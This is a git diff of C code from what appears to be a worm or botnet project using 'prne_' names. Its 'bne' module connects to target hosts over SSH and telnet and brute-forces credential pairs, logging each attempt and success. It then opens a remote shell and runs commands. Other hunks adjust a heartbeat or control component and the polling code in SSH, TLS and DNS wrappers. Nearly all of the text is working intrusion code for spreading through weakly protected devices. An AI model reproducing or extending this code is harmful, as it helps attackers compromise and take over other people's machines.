+ if (!bne_vtn_login(ctx, &vtn_ctx)) {
+ goto END;
+ }
+
+ ret = bne_vtn_do_shell(ctx, &vtn_ctx);
+
+END:
+ bne_vtn_drop_conn(&vtn_ctx);
+ for (prne_llist_entry_t *e = vtn_ctx.ports.head; e != NULL; e = e->next) {
+ prne_free((void*)e->element);
+ }
+ prne_free_llist(&vtn_ctx.ports);
+
+ return ret;
}
/*******************************************************************************
@@ -1814,7 +2637,6 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
ep.addr = ctx->param.subject;
- prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) {
bne_port_t *p = (bne_port_t*)vs->ports.head->element;
@@ -1829,11 +2651,12 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: knocking %"PRIu16"\n",
+ "bne vssh@%"PRIxPTR"\t: knocking %"PRIu16"\n",
(uintptr_t)ctx,
p->port);
}
+ prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
if (!bne_do_connect(&vs->fd, &ep, ev)) {
ctx->result.err = errno;
goto END;
@@ -1856,9 +2679,10 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
f_ret = prne_lssh2_handshake(vs->ss, vs->fd, ev);
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: handshake %d\n",
+ "bne vssh@%"PRIxPTR"\t: handshake %d on port %"PRIu16"\n",
(uintptr_t)ctx,
- f_ret);
+ f_ret,
+ ep.port);
}
if (f_ret == 0) {
ctx->result.err = 0;
@@ -1873,12 +2697,10 @@ POP:
}
END:
- if (ev != NULL) {
- if (pth_event_status(ev) != PTH_STATUS_OCCURRED) {
- ctx->result.err = ETIMEDOUT;
- }
- pth_event_free(ev, FALSE);
+ if (ev != NULL && pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ ctx->result.err = ETIMEDOUT;
}
+ pth_event_free(ev, FALSE);
if (!ret) {
bne_vssh_drop_conn(vs);
}
@@ -1948,15 +2770,23 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
if (f_ret == 0) {
// need auth
- // check vs->auth_list maybe?
+ if (vs->auth_list != NULL &&
+ strstr(vs->auth_list, "password") == NULL)
+ {
+ // but password auth not available for this account.
+ // try next id
+ goto NEXT_ID;
+ }
+
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: trying cred %s %s\n",
+ "bne vssh@%"PRIxPTR"\t: trying cred %s %s\n",
(uintptr_t)ctx,
ctx->result.cred.id,
ctx->result.cred.pw);
}
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
f_ret = prne_lssh2_ua_pwd(
vs->ss,
vs->fd,
@@ -1983,7 +2813,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: authenticated using cred %s %s\n",
+ "bne vssh@%"PRIxPTR"\t: authenticated using cred %s %s\n",
(uintptr_t)ctx,
ctx->result.cred.id,
ctx->result.cred.pw);
@@ -2014,14 +2844,14 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
if (f_ret == 0) {
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: shell opened\n",
+ "bne vssh@%"PRIxPTR"\t: shell opened\n",
(uintptr_t)ctx);
}
}
else {
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: failed to open shell (%d)\n",
+ "bne vssh@%"PRIxPTR"\t: failed to open shell (%d)\n",
(uintptr_t)ctx,
f_ret);
}
@@ -2031,7 +2861,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
ret = true;
ctx->result.err = 0;
} while (false);
-
+NEXT_ID:
if (!ret) {
if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
break;
@@ -2144,6 +2974,7 @@ static ssize_t bne_vssh_write_f (
bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p;
int f_ret;
size_t rem = buf_size;
+ size_t sent = 0;
while (rem > 0) {
f_ret = prne_lssh2_ch_write(
@@ -2156,12 +2987,16 @@ static ssize_t bne_vssh_write_f (
if (f_ret < 0) {
return f_ret;
}
+ if (f_ret == 0) {
+ return sent;
+ }
- rem -= f_ret;
buf_p = (const uint8_t*)buf_p + f_ret;
+ rem -= f_ret;
+ sent += f_ret;
}
- return buf_size;
+ return sent;
}
#if 0 // this works
@@ -2257,28 +3092,25 @@ static bool bne_do_vec_ssh (prne_bne_t *ctx) {
}
// `ctx->result.cred` must be set at this point
- if (vssh_ctx.ch_shell != NULL) {
- ret = bne_vssh_do_shell(ctx, &vssh_ctx);
-
- if (ret) {
- pth_event_t ev = NULL;
+ ret = bne_vssh_do_shell(ctx, &vssh_ctx);
+ if (ret) {
+ pth_event_t ev = NULL;
- prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- // close the channel and wait for the remote end to do the same
- // this ensures that the issued commands are completed
- prne_lssh2_close_ch(
- vssh_ctx.ss,
- vssh_ctx.ch_shell,
- vssh_ctx.fd,
- ev);
- prne_lssh2_ch_wait_closed(
- vssh_ctx.ss,
- vssh_ctx.ch_shell,
- vssh_ctx.fd,
- ev);
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ // close the channel and wait for the remote end to do the same
+ // this ensures that the issued commands are completed
+ prne_lssh2_close_ch(
+ vssh_ctx.ss,
+ vssh_ctx.ch_shell,
+ vssh_ctx.fd,
+ ev);
+ prne_lssh2_ch_wait_closed(
+ vssh_ctx.ss,
+ vssh_ctx.ch_shell,
+ vssh_ctx.fd,
+ ev);
- pth_event_free(ev, FALSE);
- }
+ pth_event_free(ev, FALSE);
}
END:
@@ -2292,6 +3124,7 @@ END:
prne_free((void*)e->element);
}
prne_free_llist(&vssh_ctx.ports);
+
return ret;
}
diff --git a/src/htbt.c b/src/htbt.c
index 5bd4edc..1ae0c4b 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -357,11 +357,11 @@ static prne_htbt_status_code_t htbt_relay_child (
* when the program is terminating.
*/
f_ret = prne_pth_poll(pfd, 5, -1, ev);
- if (f_ret < 0 && errno != EINTR) {
+ if (f_ret < 0) {
ret = PRNE_HTBT_STATUS_ERRNO;
break;
}
- if (pth_event_status(ev) == PTH_STATUS_OCCURRED || f_ret == 0) {
+ if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
ret = PRNE_HTBT_STATUS_TIMEDOUT;
break;
}
@@ -1381,7 +1381,7 @@ static void *htbt_slv_entry (void *p) {
pth_mutex_release(ctx->cv.lock);
f_ret = poll(pfd, 2, 0);
- if (f_ret < 0 && errno != EINTR) {
+ if (f_ret < 0) {
break;
}
else if (f_ret == 0) {
diff --git a/src/libssh2.c b/src/libssh2.c
index 530e4ef..6e31c1e 100644
--- a/src/libssh2.c
+++ b/src/libssh2.c
@@ -88,13 +88,6 @@ static int lssh2_handle (
f_ret = prne_pth_poll(&pfd, 1, -1, ev);
if (f_ret < 0) {
- if (errno == EINTR) {
- if (ev == NULL ||
- pth_event_status(ev) != PTH_STATUS_OCCURRED)
- {
- continue;
- }
- }
f_ret = -1;
break;
}
diff --git a/src/mbedtls.c b/src/mbedtls.c
index 3b77315..3b1919a 100644
--- a/src/mbedtls.c
+++ b/src/mbedtls.c
@@ -141,16 +141,8 @@ bool prne_mbedtls_pth_handle (
do {
pollret = prne_pth_poll(&pfd, 1, -1, ev);
- if (ev != NULL && pth_event_status(ev) == PTH_STATUS_OCCURRED) {
- return false;
- }
if (pollret < 0) {
- if (errno == EINTR) {
- continue;
- }
- else {
- return false;
- }
+ return false;
}
} while (false);
}
diff --git a/src/resolv.c b/src/resolv.c
index 3ff3391..48d3e94 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -434,9 +434,6 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
if (st == PTH_STATUS_OCCURRED) {
break;
}
- else if (pollret < 0 && errno == EINTR) {
- continue;
- }
else if (pollret > 0) {
for (i = 0; i < 2; i += 1) {
if (pfs[i].fd < 0) {
diff --git a/src/util_rt.c b/src/util_rt.c
index a3829b2..549ac4f 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -221,6 +221,49 @@ void prne_transstr (char *str, int(*trans_f)(int)) {
}
}
+void prne_transmem (void *m, size_t len, int(*trans_f)(int)) {
+ for (size_t i = 0; i < len; i += 1) {
+ ((uint8_t*)m)[i] = (uint8_t)trans_f(((uint8_t*)m)[i]);
+ }
+}
+
+void *prne_memrchr (
+ const void *haystack,
+ const int c,
+ const size_t hs_len)
+{
+ for (size_t i = 0, idx = hs_len - 1; i < hs_len; i += 1, idx -= 1) {
+ if (((const uint8_t*)haystack)[idx] == (uint8_t)c) {
+ return (uint8_t*)haystack + idx;
+ }
+ }
+ return NULL;
+}
+
+void *prne_memrmem (
+ const void *in_haystack,
+ const size_t in_hs_len,
+ const void *const needle,
+ const size_t n_len)
+{
+ const uint8_t *haystack = (const uint8_t *)in_haystack - n_len + in_hs_len;
+ size_t hs_len = in_hs_len;
+
+ if (n_len == 0) {
+ return NULL;
+ }
+
+ while (hs_len >= n_len) {
+ if (memcmp(haystack, needle, n_len) == 0) {
+ return (void*)haystack;
+ }
+ haystack -= 1;
+ hs_len -= 1;
+ }
+
+ return NULL;
+}
+
void *prne_memmem (
const void *in_haystack,
const size_t in_hs_len,
diff --git a/src/util_rt.h b/src/util_rt.h
index a4d8cda..f0e4ffe 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -43,6 +43,16 @@ void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t l
char *prne_strnchr (const char *p, const char c, const size_t n);
size_t prne_str_shift_spaces (char *str, const size_t len);
void prne_transstr (char *str, int(*trans_f)(int));
+void prne_transmem (void *m, size_t len, int(*trans_f)(int));
+void *prne_memrchr (
+ const void *haystack,
+ const int c,
+ const size_t hs_len);
+void *prne_memrmem (
+ const void *haystack,
+ const size_t hs_len,
+ const void *const needle,
+ const size_t n_len);
void *prne_memmem (
const void *haystack,
const size_t hs_len,